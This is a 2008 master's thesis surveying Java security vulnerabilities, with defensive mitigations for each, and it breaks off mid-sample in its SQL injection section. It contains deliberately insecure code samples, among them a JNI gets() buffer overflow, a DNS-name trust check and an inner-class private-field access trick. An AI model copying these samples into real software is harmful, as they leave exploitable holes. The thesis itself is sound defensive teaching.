An Extensive Analysis of the Software Security Vulnerabilities that exist within the Java Software Execution Environment

A Manuscript

Submitted to

The Department of Computer Science

and the Faculty of the

University of Wisconsin-La Crosse

La Crosse, Wisconsin

by

Said M. Marouf

in Partial Fulfillment of the

Requirements for the Degree of

Master of Software Engineering

May, 2008

An extensive analysis of the software security vulnerabilities that exist within the Java software execution environment

By Said M. Marouf

We recommend acceptance of this manuscript in partial fulfillment of this candidate's requirements for the degree of Master of Software Engineering in Computer Science. The candidate has completed the oral examination requirement of the capstone project for the degree.

_____ _____

Dr. Date
Examination Committee Chairperson

_____ _____

Dr. Date
Examination Committee Member

_____ _____

Dr. Thomas Gendreau Date
Examination Committee Member

ABSTRACT

MAROUF, SAID, M., "An Extensive Analysis of the Software Security Vulnerabilities that exist within the Java Software Execution Environment", Master of Software Engineering, May 2008, Advisors: Dr. David Riley and Dr. Kasi Periyasamy.

Software applications and systems are the backbone of most services in our lives, which makes software security a critical concern to users and organizations. Achieving the maximum level of security is crucial when developing software applications. To achieve such security, software developers must be aware of the potential security vulnerabilities within the software programming languages they use. Many programming languages suffer from major security vulnerabilities such as C and C++, which are known for buffer overflow vulnerabilities. Java on the other hand is known for its immunity against such traditional security vulnerabilities. Even though Java provides a higher level of security than other programming languages, it still suffers from potential security vulnerabilities.

This document illustrates some of the potential security vulnerabilities within the Java software execution environment. Security vulnerabilities are illustrated through sample code and discussions. The document also proposes mitigations for the corresponding security vulnerabilities.

ACKNOLEDGEMENTS

I would love to thank everyone who supported me throughout this project. All the hours and effort put into this project vanish when I remember those who stood next to me and wished me the best.

My special thanks go to my supervisor Prof. David Riley who has provided me with invaluable support since the beginning of this project. He was very helpful at all times, and always believed in me. I also wish to thank Prof. Kasi Periyasamy for his support as my co-advisor in this project. He was an invaluable supporter and always had very helpful feedback on this project.

Very special thanks go to my parents who were extremely supportive. They are my inspiration in this life and I can't thank them enough for all the love they provided me. I wish one day to return a small portion of their immense favors.

To my two lovely children Fatma and Mousa, who were the bright light at the end of the dark tunnel. Thinking of them always gave me the motivation I needed. My hope is to meet Mousa soon, as I have yet to see him in person due to the unfortunate situations in Palestine.

To my eleven sisters and two brothers Mohammad and Ahmad who always cared for me and looked to me as their big brother. I wish them all the best.

Thanks again to my supervisors, friends, and relatives who supported me.

TABLE OF CONTENTS

LIST OF TABLES

LIST OF FIGURES

GLOSSARY

API – “Application Programming Interface”.
A source code interface that a library provides to support requests for services to be made of it by software programs.

JVM – “Java Virtual Machine”.
Java Virtual Machine. A software "execution engine" that runs compiled java byte code (in class files).

IP Address – “Internet Protocol”.
A unique address that certain electronic devices use in order to identify and communicate with each other on a computer network utilizing the Internet Protocol standard (IP) — in simpler terms, a computer address.

Class Invariant
A condition or number of conditions within a class that should be satisfied at all times.

Decryption
The process of converting encrypted data back into its original form, known as plain-text, so it can be understood.

Encryption

The process of converting data into a form, known as cipher-text that cannot be easily understood by unauthorized parties.

Exception

An event, which occurs during the execution of a program that disrupts the normal flow of the program's instructions [9].

Inner-Class

A class defined entirely within another class.

JNI – “Java Native Interface”.

A programming interface that allows Java source code to interoperate with methods and libraries written in other programming languages such as C, and C++.

Mitigation

A programming solution to avoid a security vulnerability from occurring. Some solutions maybe network or hardware related.

Object Deserialization

The process of retrieving and recreating an object from a stream of bytes.

Object Serialization

A process of persisting Java objects to a file, database, or network. Serialization flattens objects into an ordered, or serialized stream of bytes.

Privileged Code

Source code that is granted temporary permissions that usually aren’t given to it.

Protected scope

A data member or method with protected scope is accessible by classes within the same class or its subclasses.

Servlet

A server-side Java program that provides additional features to the server.

Static field

A data member of a class that is declared as static. A static field is a class variable that is initiated once and shared between all instances of that class. The value of the static field is shared between all class instances.

Tainted Variables

A variable that is untrusted and may hold an unknown value. Such variables may cause unpredictable behaviors and attacks.

Transient Field

Variables that are not part of the persistent state of an object. Such variables are not serialized.

1. Introduction

Software security has become a main topic of concern in recent years. Software applications have suffered from major security breaches and represent large costs both to the public and private companies.

Security issues became notable in the early 70's within telephone systems, where hackers were trying to break into such systems. In the early 80's a group of hackers from Wisconsin were arrested by the FBI for breaking into sixty different computer systems. Later, attacks targeted banks and other businesses, resulting in millions of dollars in losses. By the early 1990's the security community had discovered over one thousand computer viruses [9]. Since that time, attackers have exploited systems that suffered primitive security holes such as poor password implementations. Security threats today take many shapes as attackers find their way into poorly designed and poorly implemented software systems. CERT Coordination center has noticed continuous increases in attackers' technical knowledge and methods of exploitations [34].

The 2007 CSI (Computer Security Institute) survey, reports that the average loss due to cyber crime and security breaches increased from $168,000 in 2006 to $350,424 in 2007 [3]. Organizations tend to increase the percentage of their budget that goes toward security costs. In 2007, about 26% of organizations dedicated 3-5% of their budget toward security costs. The CSI survey also points out that 48% of organizations dedicate only 1% of their budget toward security awareness. One should believe that with higher awareness, there would be less

security problems. The survey results show that 46% of the organizations have experienced a security incident within the last 12 months (From the date of the survey). One is to note that most security precautions are taken outside the software application level.

During the past five years, organizations have learned much about security. The worrying issue is the over confidence of the organizations' ability to handle security threats. The 2007 E-Crime Watch survey reports that 69% of organizations claim to be more prepared to handle security threats than they were in the past [4]. At the same time, those same organizations report a 5% cut in IT security budgets and a 15% cut in organizational security budgets. The survey also reports that 33% of organizations had an increase in security incidents compared to 2006.

Software system developers have realized some of these security issues, and tried to integrate security vulnerability avoidance within the software development cycle. The use of certain programming languages, such as C and C++ leads to applications software that is prone to well-known vulnerabilities such as buffer overflow. In 1995 Sun Microsystems introduced Java 1.0 as the software language to provide platform portability and better security [38]. Java handles all memory allocation management, saving the developer from associated concerns. Java also provides extensive type checking at compile time, which is stronger than those of C and C++. Rigorous type checking of Java source code happens at compile time. Checks on the legality of all type casts take place too, and array bounds are strictly enforced. The lack of pointers within Java mitigates illegal access to objects from outside, eliminating some pointer errors that are common within C++ [39].

Several authors have discussed the level of security Java provides and its security vulnerabilities. Much attention has been given to Java mobile code such as applets. Such code can have access to local machine resources, and can be highly insecure. Eva Chen discusses the security issues surrounding Java applets [2]. Some of the attacks she covers include: system modifications, invasion of user privacy, and resource hogging. She points out the unawareness of companies towards mobile code, and shows that 56% of companies don't even scan such code.

Gary McGraw and Edward W. Felten also point out some of the security flaws within some Java implementations in their book "Securing Java, Getting down to business with mobile code" [13]. They discuss the Java applet sandbox, and the different levels of security attacks performed by malicious applets.

Java is no doubt a great step towards secure software applications. In the meantime many software developers took the security of Java applications for granted. Many developers forget the importance of secure software development, and just focus on getting their application to work.

This document discusses some of the potential security vulnerabilities within the Java runtime execution environment. In section 2, a review of the literature and related work is discussed. Section 3 illustrates the security vulnerabilities unique to Java and their proposed mitigations. In section 4, the security vulnerabilities not unique to Java and their proposed mitigations are illustrated. Section 5 discusses some future work.

2. Review of the Literature

Much has been written about software security in general. However the issue of software security is relatively new when compared to software engineering in general.

The software security community has made some good efforts on reporting security vulnerabilities related to programming languages. Fortify Software's Software Security Errors contains an excellent taxonomy of vulnerabilities [8]. This covers security issues within a number of programming languages such as C, C++, Java, C#, PHP, and more. Vulnerabilities are illustrated with some sample code, making it easier for software developers to understand the vulnerabilities.

CERT is considered one of the most active and trusted sources of known software vulnerabilities. CERT's Knowledgebase houses US-CERT's Vulnerability Notes database plus two private vulnerability databases. CERT not only reports vulnerabilities, but also explains the impact, severity, and solutions [35].

The SANS Institute also offers a number of information security certifications and training courses [22]. They provide a large number of online research documents on information security in addition to maintaining and operating the Internet warning system known as the Internet Storm Center [23].

In a well-known book on the subject McGraw defines *software security* as "the idea of engineering software so that it continues to function correctly under

malicious attack” [12]. He points out the importance of security practices and how they leverage good software engineering practices. Part of secure software development is to understand language based flaws and realize the associated threats. McGraw emphasizes the importance of security engineering in all software development phases.

Programming languages such as C and C++, have received the most attention considering security. Such languages suffer from a number of vulnerabilities such as buffer overflow vulnerabilities. Cyclone is an attempt toward safe C. It is a C dialect that prevents common vulnerabilities such as buffer overflow and format string [21].

The popularity of C and C++ and the flexibility and low level system control they provide is considered a big plus to many software developers. Following good practices when programming in C or C++ can prevent security vulnerabilities from occurring. Input validation and integer range checking are examples of good programming from a security point of view. Using static and dynamic analyzers, and runtime protection schemes are also a helpful way of preventing security vulnerabilities.

Robert Seacord points out the importance of understanding the potential risks that come with C and C++, and the importance of building a development plan that addresses these risks [24]. Seacord also covers the topic of secure coding in C and C++ in his book “Secure Coding in C and C++”. He shows how to improve the general security of both languages in the book [25]. He also tackles some of the main security vulnerabilities such as buffer overflows, integer related issues such as integer overflows, format string vulnerability, race conditions, and I/O vulnerabilities.

In an article from Sun Microsystems the mother of Java, Rich Teer discusses some security tips for C programming [32]. His tips include: checking function return values, avoidance of *system()* and *popen()* functions, use of fully qualified pathnames, and simplification of any security code.

Among non-Java programming languages, buffer overflow vulnerabilities are by far the most common of all vulnerabilities. 24 of 44 security advisories at CERT from 1997 through 1999 were related to buffer overflows. Christian Skalka from the University of Vermont points out the importance of programming language safety and how it prevents such vulnerabilities [21]. Programming language safety can be achieved by static analysis of source code (Type inference in OCaml), and dynamic checks too (Casting checks in Java). Java and C# are considered safe programming languages in this regard.

Security vulnerabilities in Java haven't received the amount of attention given to other programming languages. However, Java's popularity is growing making the issue of Java security ever more important.

One of the potential security vulnerabilities that is not well understood by many Java software developers is the Inner Class vulnerability (See section 2.11). CERT briefly discusses this vulnerability in their report on Java security vulnerabilities [11]. Gary McGraw and Edward Felton also discuss this vulnerability briefly [14]. Anasua Bhowmik and William Pugh from the University of Maryland provide about the best explanation for this vulnerability [1]. They provide an in-depth explanation and a potential solution for this vulnerability.

The use of the JNI API within Java applications is also a potential source of security vulnerabilities. Native code such as C or C++ code that is called from Java code is outside of the JVM sandbox. This means any security vulnerabilities that the native code suffers will infect the overall Java application using this

native code (See section 2.6). Gang Tan et al. discuss JNI vulnerabilities in detail in one of their papers on JNI security [31]. This work examines potential security loopholes caused by JNI, and some potential mitigations. A framework that claims to solve such vulnerabilities within systems that use Java and C components is proposed. The OWASP project also includes an example on how a buffer overflow vulnerability may occur when using JNI [17].

Object Serialization is another potential source of security vulnerabilities examined in the literature. David Wheeler gives a number of security tips when programming in Java [37]. Within his tips he mentions the importance of controlling class serialization. Serialization and deserialization of classes can be controlled by writing custom writeObject() and readObject() methods. Gary McGraw and Edward Felton also discuss some methods of protection against potential vulnerabilities due to object serialization [14]. Sun Microsystems provides a guideline on secure programming with Java that covers the issue of object serialization [26]. It discusses methods of protecting sensitive data and how to write custom serialization methods [28]. More potential security vulnerabilities are discussed within this document including the previously mentioned vulnerabilities.

3. Security Vulnerabilities Unique to Java

This chapter is an illustration of the potential security vulnerabilities that are unique to the Java programming language and their proposed mitigations. Each section within this chapter begins with a brief explanation of a potential vulnerability, followed by a code example of how the vulnerability may occur. Following that, one or more mitigations are proposed for the potential vulnerability. Finally, each mitigation is illustrated by a code sample or a good practice guideline. Some sections include subsections that explain different types of the potential vulnerability and different means of exploitation.

3.1. NULL Value Vulnerability

When a null exception occurs, attackers can exploit this exception to gain information about an application. Information such as a class name or a class method can be revealed. Figure 1 shows a typical `NullPointerException`.

```
Exception in thread "main" java.lang.NullPointerException
        at Main.getValueLocal(Main.java:15)
        at Main.main(Main.java:26)
```

Figure 1. NULL value vulnerability output

The `NullPointerException` in Figure 1 reveals a class named Main and a method named `getValueLocal`.

`NullPointerExceptions` can be forced by attackers too.

Example:

A programmer assumes there is a system property called "cmd", but the attacker manipulates this system property or removes it. When the programmer refers to the "cmd" property, most likely he will get a `NullPointerException` after executing the `trim()` method. See Figure 2 for a sample.

Code sample:

```
String cmd = null;
//some code
cmd = System.getProperty("cmd");
cmd = cmd.trim();//this may trigger a NullPointerException
```

Figure 2. Null pointer vulnerability

Mitigations:

Test the `cmd` value to ensure it isn't null before invoking a method upon `cmd`. For example, the code in Figure 3 mitigates the prior sample's vulnerability.

```
if(cmd != null)
    cmd = cmd.trim();
else
    throw new CustomizedException(“alert”);
```

Figure 3. Null pointer vulnerability mitigation

3.2. Catch Block vulnerability

When an exception is not caught, very important information can be revealed to the attacker.

Example:

When a Servlet throws an exception it usually contains debugging information that can be valuable to an attacker. This debugging information can contain information about the kind of database used (usually known through a bad SQL statement that threw the exception), the OS, the application container, and so forth.

Code Sample:

The code in Figure 4 can throw a `NullPointerException` if the parameter name does not exist. The method will allow any debugging information to go back to the caller who made the request.

```
protected void doPost(HttpServletRequest rq,
          HttpServletResponse rs) throws IOException
{
       String name = getParameter("name");
       out.println("hello " + name.trim());
}
```

Figure 4. Catch block missing

Mitigations:

Potential exception-generating code should be wrapped in a try and catch block. See Figure 5

```
protected void doPost(HttpServletRequest req,
          HttpServletResponse res)
{
  try{
      String name = getParameter("name");
      out.println("hello " + name.trim());
  }
  catch(Exception exp){
   //here you can handle the exception and give a custom
   //error message instead of revealing debugging
   //information.
       }
}
```

Figure 5. Catch block handles exception output

3.3. ‘Exception Information’ Leak vulnerability.

This is related to the catch block vulnerability examined in Section 3.3. After catching an exception, information can be leaked voluntarily. Leaks usually occur through exceptions or log files. This information can reveal important information that can help the attacker to build a plan.

Example:

A faulty SQL statement is shown through an exception or log file. The file information might include what database system is being used or even whether or not the SQL statement is ANTI- (SQL injection) or not. It is not enough to catch the exception; it is also necessary to make sure that no important information is revealed. See Figure 6.

```
try{
    . . . //some faulty SQL statement execution.
}
catch (Exception ex) {
     //this will show exception details that may be used by
     //the attacker
     ex.printStackTrace();
}
```

Figure 6. Exception information leak

Mitigations:

A customized error message should be generated instead of calling a system method. See Figure 7.

```
try {
     . . . //some faulty SQL statement execution.
}
catch (Exception ex) {
     throw new customizedException(“Error occurred.”);
}
```

Figure 7. Handling exception information

3.4. Privileged Code

Java code that is marked “privileged” allows trusted code to temporarily grant access to more resources than are available directly to the code that called it.

This is necessary in some situations. For example, if a Java application needs to access font files that are located in protected system folders, it must use privileged code to do so. This application may use a system utility that has access to these fonts, and mark it as privileged and hence the application will be granted access **[30]**.

When using privileged code the following advice is offered:

1- Make the privileged code as short as possible. A privileged code block has access to all resources. Even if code has no permission, such code might still gain unwanted access through a call to privileged code Privileged blocks should be as small as possible to minimize the extent of access to the resources.

2- Care must be taken when dealing with potentially tainted variables (variables that are set and passed to a method by the caller) within privileged code inside a public method (or a private method that can be called by a public method). Because a public method can be called by any other code, a tainted variable can be easily assigned unexpected values. This means that the privileged code will be executed according to the tainted variable's value, which may be set to get confidential information or perform a malicious attack.

Figure 8 is an example that shows how a system property will be returned according to the value of `name`.

```
public static String getProp(final String name)
{
  return (String) AccessController.doPrivileged(
         new PrivilegedAction()
         {
             public Object run()
             { // privileged code goes here, for example:
               return System.getProperty(name);
             }
         });
}
```

Figure 8. Privileged code sample

To solve this problem, methods like `getProperty()` should be private and not invoked from an external call. Notice that declaring the method as protected is not a complete solution, because a new class can be written that extends the original class and granting public access to protected methods [26].

3.5. Inner Classes vulnerability

Many Java programmers believe that inner class fields are only accessible to their enclosing class. But unfortunately this is incorrect for many Java compilers. Typically, inner classes are compiled into independent classes with scope extending throughout the package. Furthermore, when the inner classes are compiled, private fields of the outer class are changed from private to package scope so all classes in the package have access to the private fields [14].

This vulnerability becomes worse when the code is mobile, because a programmer does not have control over the execution environment. Mobile code should not use inner classes.

Example:

Figure 9 is a simple example of an inner class that has access to a private variable of its enclosing class.

```
package testresearch;

public class outerclass
{
  private String outer_variable = "private outer variable";

  class innerclass
  {
        void printprivate()
         {
            System.out.println("private
field"+outer_variable);
          }
  }
  public static void main(String a[]){...}

}
```

Figure 9. Inner class sample

In this example `outer_value` becomes accessible to all other classes in the same package, which violates intended scope and potentially leads to security vulnerabilities.

To more fully understand this problem consider the class called `AdversaryClass` in Figure 10:

```
package testresearch;

public class AdversaryClass
{
    public static void main(String a[])
    {
        outerclass outer = new outerclass();
         //try to call the access$00 method
        System.out.println(outer.access$000());
    }
}
```

Figure 10. Inner class vulnerability insight

This class does not compile because the compiler recognizes that method `access$000()`, is outside its scope. To gain access to this method it is necessary to implement a bytecode class. For example, the following is in byte code format taken from a bytecode reader *(*jclasslib ByteCode Viewer [5])

```
invokestatic #7 <outerclass1.access$000>
return
```

Mitigations:

1. Some authors [19] suggest that the solution is to declare the inner class as private. However, when attempting this "solution" the byte-code of the outer class there is still the `access$000` method which could be accessed from inside the package.

2. A different solution is proposed by [1]. This solution is based on passing a private key to the `access$000` method so the outer class can authenticate the class which is calling this method. This key is shared only by the two classes (Outer and inner classes). The key is a dynamic object created at run time, and is stored in a static field inside both classes. The key is passed through a special method. The authors have developed a tool to modify any given java code. This tool will insert any necessary code needed for the key creation and exchange. This approach appears secure.

3.6. JNI Vulnerabilities

Java is a safe language from the perspective of memory management. However, programmers can cause memory leaks or buffer overflows when using

JNI. Once a Java program hands execution to the native language, it loses control of memory. Programmers must be very careful when using JNI, otherwise dangerous vulnerabilities may occur. The following section will explain how such vulnerabilities may happen.

JNI sample 1:

On the left side in Figure 11 is a Java class that declares a native method called `runEcho`. An external native library called `echo` is used. The main method will call the `runEcho` method, which is executed by the native code (the method is called `Java_Echo_runEcho`) on the right side of Figure 11.

```
class Echo {
 public native void runEcho();

 static
 {
  System.loadLibrary("echo");
 }
 public static
        void main(String[] args)
 {
        new Echo().runEcho();
 }
}
```

```
#include <jni.h>
#include "Echo.h"
#include <stdio.h>

JNIEXPORT void JNICALL

Java_Echo_runEcho(JNIEnv *env,
jobject obj)
{
      char buf[64];
      gets(buf); //problem is here
      printf(buf);
}
```

Figure 11. JNI sample [18]

The `gets` function reads from the standard input device. It expects a user to input a string of 64 characters or less (the size of `buf` in Figure 11 on the left side). If the user happens to enter a string of 65 or more characters, a buffer overflow occurs. This sample code demonstrates how Java no longer has control over code execution.

JNI sample 2:

Figure 12 contains a second example that consists of a Java class (on the left side of Figure 12) called `IntArray` and a C file (on the right side of Figure 12)

that is designed to calculate the sum of the elements of an array passed by the Java class.

```
class IntArray {
/* declare a native method */
private native
        int sumArray(int arr[]);

 public static
       void main(String args[]){
 IntArray p = new IntArray();
 int arr[] = new int [10];

 for (int i = 0; i < 10; i++)
      arr[i] = i;

 /* call the native method */
 int sum = p.sumArray(arr);
 System.out.println("sum=" + sum);
 }

 static{
  /*load the DLL library that
    implements the native method
  */

  System.loadLibrary("IntArray");
 }

}
```

```
#include <jni.h>
#include "IntArray.h"
JNIEXPORT jint JNICALL
Java_IntArray_sumArray
(JNIEnv *env, _jobject *self,
_jobject *arr)
/*env is an interface pointer through
   which a JNI API function can be
   called.
   self is the reference to the object
   on which the method is invoked.
   arr is the reference to the array.
*/
{
 jsize len =
    (*env)->GetArrayLength(env, arr);
 int i, sum = 0;
 jint *body =(*env)->
    GetIntArrayElements(env, arr, 0);

 for (i=0; i<len; i++) {
      sum += body[i];
 }
 (*env)->
     ReleaseIntArrayElements(env,arr,
                             body,0);
 return sum;
}
```

Figure 12. JNI sample two [31]

Vulnerabilities that may exist within the Figure 12 code are illustrated in the following:

3.6.1. Direct Access through java references.

When a reference is passed to the C code by the Java code, this reference should only be modified by the JNI API. In Figure 12, `arr` should not be

modified by the C code. Direct access may cause vulnerabilities. One scenario is the application of the `gets` function on `arr`, which may cause a buffer overflow.

Mitigations:

Reducing the number of direct accesses to references is a good idea. The programmer should also make sure to avoid unsafe methods that exist within the native code.

3.6.2. Interface Pointers.

When a native method is invoked using JNI, an interface pointer is passed to the method. This pointer points to the JNI API table that includes JNI methods. In Figure 12, `env` is an interface pointer. Using this pointer, native code can overwrite an existing JNI API method with a custom (the attacker's method. This custom method may bypass the security checks which are done on JNI API methods.

Mitigations:

Check the interface pointer to be certain it is used properly.

3.6.3. Violating access control rules.

No access control is enforced in JNI. This means that native code can change any field within an object, even data with private scope.
This was a decision made in JNI, because native code already has access to memory. However, the decision violates the access control scheme in Java.

Mitigations:

One mitigation is to check critical data member values after executing a native method. Any private data, for example, could be restored to its prior value.

3.6.4. Arguments of wrong classes.

When using JNI, native code treats all Java objects as if they were from one type (`jobject *`). The programmer is responsible to ensure the consistency of types. An attacker with access to the native code could take advantage of this in many ways.

Mitigations:

Checking and handling exceptions is important to avoid any compatibility issues and the programmer must take care not to pass sensitive data.

3.6.5. Calling wrong methods.

Different array types are accessed by different methods provided by JNI API. When a native method expects an array of type `int,` it properly calls `GetIntArrayElements`. Similar native retrieval methods exist for other types. Confusion over types will cause improper memory access.

Mitigations:

Checking and handling exceptions is important to avoid any issues from calling inappropriate methods.

3.6.6. Exception Handling.

When a native method calls a Java method (JNI API) an exception might be thrown during the API method execution. Such exceptions must be handled by native code using JNI API methods. Proper handling should take place to manage these exceptions; otherwise the behavior of the code might be unstable [29].

Mitigations:

There are two ways to check for exceptions within the native code.

1- Using a return value. JNI methods usually return a distinct return value such as NULL or `-1`. These return values indicate that an exception has occurred or an exception is pending. Figure 13 and Figure 14 illustrate how to do this.

Sample:

```
public class Window
{
     long handle;
     int length;
     static native void initIDs();
     static{
         initIDs();
     }
 }
```

Figure 13. Java class [29]

```
//C code which implements Window.initIDs
 jfieldID FID_Window_handle;
 jfieldID FID_Window_length;
 jfieldID FID_Window_width;

 JNIEXPORT void JNICALL
 Java_Window_initIDs(JNIEnv *env, jclass classWindow)
 {
  FID_Window_handle =
  (*env)→GetFieldID(env, classWindow, "handle", "J");

   if (FID_Window_handle == NULL) //important check.
   {
      return; //error occurred.
   }

  FID_Window_length =
  (*env)→GetFieldID(env, classWindow, "length", "I");

   if (FID_Window_length == NULL) //important check.
   {
      return; // error occurred.
   }
 }
```

Figure 14. Native code [29]

In the above sample (Figure 13 and Figure 14) if an exception occurs within the `GetFieldID` method, `NULL` is returned. The program checks the returned value and takes appropriate actions, such as returning execution to Java again.

2- Using the JNI method `ExceptionCheck` or `ExceptionOccurred`. Sometimes a programmer cannot rely on the return value of a JNI method. `NULL` and/or `-1` could be valid values for some methods, and some other methods just don't encode an error within

a return value (such as `CallIntMethod`). See Figure 15 and Figure 16 for a sample.

Sample:

```
public class Fraction
{
     int over, under;

     public int floor()
     {
         return Math.floor((double)over/under);
     }
}
```

Figure 15. Java class sample two [29]

```
// Native code that calls Fraction.floor.
// Assume method ID MID_Fraction_floor has been
//initialized elsewhere.

void callFloor(JNIEnv *env, jobject fraction)
{
  jint floor = (*env)→
       CallIntMethod(env, fraction, MID
_Fraction_floor);

  // check if an exception was raised
  if ((*env)→ExceptionCheck(env))
  {
      return;
  }
  // if no exception occurred, call floor
}
```

Figure 16. Native code sample two [29]

If `ExceptionCheck` (Figure 16) returns `JNI_TRUE,` this means an exception has occurred.

3.7. Object Serialization

The critical issue about serialization is that after serializing an object, the object (in the form of a byte-array) is outside the control of the JVM and is totally visible to anyone with access to the file. The result is that confidential content of an object is potentially exposed via a file and/or the file content may be corrupted prior to a `readObject`() operation [14].

How can serialization be used in malicious attacks?

1- An attacker can read the serialized byte-array and potentially access confidential information within the object. The programmer has to be aware that the default behavior of Java serialization is to serialize all directly or indirectly referenced data fields of the object into the byte-array; this includes all the private fields.

Mitigations

- Declare any sensitive fields as `private transient`. Transient fields are not serialized.

```
private transient Object elementData[];
```

- A different alternative is to remove the sensitive fields from the list of serialized fields. (This approach is the opposite of using *transient*.)
  Only fields included in the `serialPersistentFields` list will be serialized.

```
private static final
ObjectStreamField[] serialPersistentFields =  {
   new ObjectStreamField("size", Integer.TYPE), .... };
```

- A third option is for the programmers to implement their own serialization methods (`writeObject()`, `readObject()`) which do not output sensitive fields. See Figure 17

```
private void writeObject(java.io.ObjectOutputStream stream)
        throws java.io.IOException
{
 //....prevent sensitive data from being serialized
}

private void readObject(java.io.ObjectInputStream stream)
        throws java.io.IOException
{
 //.... prevent sensitive data from being deserialized
}
```

Figure 17. Custom serialization & deserialization methods

2- When deserializing a byte-array into an object, the source of the byte stream should not be trusted. The byte-array might have been altered or corrupted.

Mitigations:

Checking the state of a deserialized object can be accomplished by setting an invariant for each class. An invariant is some condition that must be satisfied always before serialization and after deserialization.

Such invariants should ensure that the byte-array was not corrupted. One or more invariants can be set by the designers to verify a successful serialization process. Invariants can be implemented by a validation method. When a serialized object

is read (deserialized) by the `readObject()` method, the validation method should be invoked to check the status of the object.

Figure 18 shows a validation method that validates an objects state. `validateObjectState()` checks all necessary data member fields of an object.

```
private void validateObjectState()
{
    validateField1();
    validateField2();
    validateField3();
    .
    .
}
```

Figure 18. Object validation

Checking invariants requires programmers to write their own serialization methods. In the case of incorrect invariants, an exception can be thrown or other actions can be taken. Figure 19 shows a custom implementation of the `readObject()` method.

```
private void readObject(java.io.ObjectInputStream stream)
        throws ClassNotFoundException, IOException
{
     //default deserialization
     stream.defaultReadObject();

     //ensure that object state has not been corrupted or
     //tampered with maliciously
     validateState();
}
```

Figure 19. Custom readObject method

3- Objects that are deserialized from the byte stream must be unique. A malicious attack can add references to pre-deserialized objects that occurred in the byte-stream, which may lead to an unstable state of the container object.

Mitigations:

This uniqueness of deserialized objects can be guaranteed by using `readUnshared` and `writeUnshared`.

4- Classes that implement `Externalizable` should be defended against attacks using the public `readExternal` method. This method is public and hence can be called by an attacker multiple times to overwrite the object's internal values. In this case precautions should be taken inside this method.

Mitigations:

Some invariants or special checks should be done before setting the values of the object's fields. Figure 20 illustrates a sample that checks if an object has been initialized already.

```
public synchronized void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
      //check if already initialized
      if (!initialized)
       {
            initialized = true;

            // read in and set field values ...
       }else{
            throw new IllegalStateException();
       }
}
```

Figure 20. Invariant check [28]

5- Passing a private array to the `ObjectOutputStream` and `ObjectInputStream` leads to security vulnerabilities. When writing serialization methods, it is best to avoid passing a private array to the `write(byte[] array)` method. This is because the `write(byte[] array)` method can be overridden by an attacker who subclasses the `ObjectOutputStream`.
(Actually all `DataInput/DataOutput` methods can be overridden, so they should not be called directly.)

6- A nonserializable class can be deserializable. An attacker can generate a byte-array which can be deserialized into a class-instance (De-serialization is similar to calling a public constructor of a class).

This class instance will have no specific internal state, which means the behavior of the system will be unpredictable to this intruding class instance [10].

Mitigations:

The `readObject()` method should be implemented as in Figure 21 [37].

```
private final void readObject(ObjectInputStream in)
  throws java.io.IOException
{
 throw new
       java.io.IOException("Class cannot be deserialized
..");
}
//this method should be final so no overwriting occurs.
```

Figure 21. Prevent object deserialization

7- Serializing objects into a byte-array should be avoided as much as possible. If attackers generate a byte-array they can have access to the internal state of the object and reveal confidential information.

Mitigations:

The `writeObject()` method should be implemented as in Figure 22 [37].

```
private final void writeObject(ObjectOutputStream out)
  throws java.io.IOException
{
    throw new
       java.io.IOException("Class cannot be serialized
..");
}
//this method should be final so no overwriting occurs.
```

Figure 22. Prevent object serialization

8- There is one last approach to preventing unwanted access to a serialized object byte-array. This is by using encryption techniques to encrypt the byte-array. This approach requires programmers to implement their own serialization methods utilizing encryption methods to serialize the object and decryption methods to deserialize.

The strength of this approach depends on the strength of the encryption used. This approach also creates the overhead of the encrypt/decrypt time.

4. Security Vulnerabilities Not Unique to Java

This chapter is an illustration of the potential security vulnerabilities that are not unique to the Java programming language and their proposed mitigations. Each section within this chapter begins with a brief explanation of a potential vulnerability, followed by a code example of how the vulnerability may occur. Following that, one or more mitigations are proposed for the potential vulnerability. Finally, each mitigation is illustrated by a code sample or a good practice guideline. Some sections include subsections that explain different types of the potential vulnerability and different means of exploitation.

4.1. DNS authentication vulnerability.

DNS servers are susceptible to spoof attacks or what some call ‘DNS cache poisoning’. So programmers should not rely on DNS names for verification issues. IP addresses are a better alternative, but IP addresses can be forged too. IP address verification alone is not enough to get the ultimate authentication desired [8].

Example:

IP address	**hostname**
IP1	name.trustme.com

Table 1. Regular DNS table

Suppose a DNS table like the one above is available to an attacker. Such a table could be changed as follows:

IP address	hostname
IP1	name.trustme.com
MaliciousIP	maliciousname.trustme.com

Table 2. Infected DNS table

Forging an IP address is more complicated for attackers. See Figure 23.

Code sample:

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);

//we don’t know if trustme.com is safe or not
if(addr.getCanonicalHostName().endsWith("trustme.com"))
{
   trusted = true;
}
```

Figure 23. Checking domain name

Mitigations:

Check if the IP address is included in a trusted list of IP addresses. This list should be managed separately from any vulnerable DNS server. Figure 24 shows how this can be implemented.

```
Vector trustedIPs = getTrustedIPs();
String ip = request.getRemoteAddr();

if(trustedIPs.contains(ip))
{
   trusted = true;
}
```

Figure 24. Checking IP address

4.2. Access Violation Vulnerability

A private reference variable, call it `priv_var`, can be returned by a public method, call it `pub_meth`. The affect is to make the variable public, or at least to increase its scope beyond the normal private scope. Such variable content may travel to a remote machine revealing potentially confidential information [8].

Example:

```
public String pub_meth()
{
   return priv_var;
}
```

Mitigations:

The best way to mitigate is to use a static analyzer. This analyzer compares the scope of a method and its return value. If this return value refers to a private variable and the method is public, then a warning is issued by the analyzer.

4.3. Static Fields

There are two issues regarding static fields:

1- Static fields are easy to access. Since a static field belongs to a class and not to a single instance or object just by knowing a class name can expose a static field to an attacker who could change it. This makes it difficult to secure static fields. [37]

2- When declaring a static field, it is best to avoid non-final public static fields. Access to a non-final public static field is impossible to restrict. Because the field is public, all code has read and write access. The non-final attribute also permits overriding through inheritance. This is dangerous because static fields are usually used by a network of class instances, so if changing the field's value could affect all the instances. [10]

4.4. SQL Injection

An attacker can include unwanted SQL code inside a program's input field, potentially causing malicious SQL statements to execute.

Mitigations:

1. User input should be validated. This can be accomplished by checking the input's type, length, format, and reasonableness

2. Meta-characters, such as the single quote ', must be captured during input validation. Sometimes a meta-character is part of the input and not part of the intended SQL statement behavior. The use of `java.sql.executeQuery` and `java.sql.executeUpdate` can hide the existence of some meta-characters.

3. Use `PreparedStatement` instead of `executeQuery` or `executeUpdate`. Also, the most secure method to guard against input metasymbols is to bind variables using the `setXX()`methods (where XX is substituted by a type such as string integer ..).

Example Vulnerability:

```
String strUserName = request.getParameter("Txt_UserName");
PreparedStatement prepStmt = con.prepareStatement("SELECT *
